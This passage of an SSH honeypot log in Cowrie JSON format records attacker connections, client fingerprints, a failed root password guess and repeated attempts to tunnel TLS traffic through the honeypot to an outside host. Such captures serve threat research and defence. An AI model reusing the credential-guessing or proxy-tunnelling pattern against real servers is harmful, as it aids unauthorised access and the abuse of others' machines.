00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:28.951740Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40332,"dst_ip":"10.17.0.5","dst_port":22,"session":"d53ec97943b4","protocol":"ssh","message":"New connection: 103.27.238.114:40332 (10.17.0.5:22) [session: d53ec97943b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:29.396596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:29.400723Z","src_ip":"103.27.238.114","session":"d53ec97943b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:29.438199Z","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:29.671437Z","src_ip":"103.27.238.114","session":"d53ec97943b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:29.684121Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4`7(\\x1dY\\x8c\\x80\\xba\\x96&\\x88)=g\\x8a\\x17\\xc1\\x8erK\\x03\\t\\xc0\\x00u\\x92XE\\x19zd (wc{71\\xdf\\'\\xd2o\\xa1\\xf2\\xef\\xd1U\\x16\\xfb\\x8f1\\xd74\\xc4o\\xdc*\\xf4\\xb7\\xbd\\x1fu\\x05\\xa4\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x91u\\x19\\x81G|\\xcf9\\x08\\xec&\\x85\\xed\\x81\\x1b\\x81Z}\\x9f\\x05\\xb6\\x02\\xc4Nk\\xb4\\xd9\\xf3\\x9dA\\x95Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4`7(\\x1dY\\x8c\\x80\\xba\\x96&\\x88)=g\\x8a\\x17\\xc1\\x8erK\\x03\\t\\xc0\\x00u\\x92XE\\x19zd (wc{71\\xdf\\'\\xd2o\\xa1\\xf2\\xef\\xd1U\\x16\\xfb\\x8f1\\xd74\\xc4o\\xdc*\\xf4\\xb7\\xbd\\x1fu\\x05\\xa4\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x91u\\x19\\x81G|\\xcf9\\x08\\xec&\\x85\\xed\\x81\\x1b\\x81Z}\\x9f\\x05\\xb6\\x02\\xc4Nk\\xb4\\xd9\\xf3\\x9dA\\x95Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:29.687848Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:30.055969Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxell","message":"login attempt [root/maxell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:30.483438Z","src_ip":"103.27.238.114","session":"d53ec97943b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:31.756316Z","src_ip":"103.27.238.114","session":"d53ec97943b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:34.339113Z","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:34.363344Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbcC\\xdeWn\\x04=\\x0ck\\xfa\\xd1v\\xa1|\\xfb\\x13\\x98v\\xd8>V1\\x0b\\x11\\xcc^!\\x84\\x9c|\\xd0Z }mz\\x14%)\"\\xdd\\x1d\\x04A\\x96(@c\\x88\\xc6x\\xed\\x1b)\\x19\\xdd\\xcf\\xd2\\xd26y,;\\x89\\x8c\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x19s\\x14^\\x16\"\\xec@x\\xe9\\x18\\xba\\xa7\\x9c\\xb4\\x8b\\x9f\\xfaO\\x88\\xf7\\x8e\\x1d\\x86P<Y\\xfc{\\x9e\\xcfV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbcC\\xdeWn\\x04=\\x0ck\\xfa\\xd1v\\xa1|\\xfb\\x13\\x98v\\xd8>V1\\x0b\\x11\\xcc^!\\x84\\x9c|\\xd0Z }mz\\x14%)\"\\xdd\\x1d\\x04A\\x96(@c\\x88\\xc6x\\xed\\x1b)\\x19\\xdd\\xcf\\xd2\\xd26y,;\\x89\\x8c\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x19s\\x14^\\x16\"\\xec@x\\xe9\\x18\\xba\\xa7\\x9c\\xb4\\x8b\\x9f\\xfaO\\x88\\xf7\\x8e\\x1d\\x86P<Y\\xfc{\\x9e\\xcfV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:34.366390Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:34.388135Z","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:34.419458Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03_\\x1d{\\x00\\xe2\\xc5#\\xe8\\xa9\\xd3\\x92\\x82\\xc9S\\xf9zB\\xe6m\\xb2\\xa8\\x03\\xa0\\x84\\x14\\xe9Y\\xcf\\x7f\\xe1f\\xd8 \\xe3\\xee\\xb3\\x1a\\x19\\\\\\xea\\xfc\\xcf\\xe5\\x13\\x99\\x82\\xfbM\\xdb\\x9dq\\xb7\\xad\\xb5!\\xd4}8\\x17\\\\\\xe8c\\x9a\\xe2\\x86\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 c\\xab\\x1a\\xdcP/\\xdc8!\\xc7\\xba\\xb0\\xe4\\x8fX\\xff\\xd2\\xb3\\xc47\\x02\\x00\\xd1\\xe8A\\xd4x7\\xf9b\\tN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03_\\x1d{\\x00\\xe2\\xc5#\\xe8\\xa9\\xd3\\x92\\x82\\xc9S\\xf9zB\\xe6m\\xb2\\xa8\\x03\\xa0\\x84\\x14\\xe9Y\\xcf\\x7f\\xe1f\\xd8 \\xe3\\xee\\xb3\\x1a\\x19\\\\\\xea\\xfc\\xcf\\xe5\\x13\\x99\\x82\\xfbM\\xdb\\x9dq\\xb7\\xad\\xb5!\\xd4}8\\x17\\\\\\xe8c\\x9a\\xe2\\x86\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 c\\xab\\x1a\\xdcP/\\xdc8!\\xc7\\xba\\xb0\\xe4\\x8fX\\xff\\xd2\\xb3\\xc47\\x02\\x00\\xd1\\xe8A\\xd4x7\\xf9b\\tN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\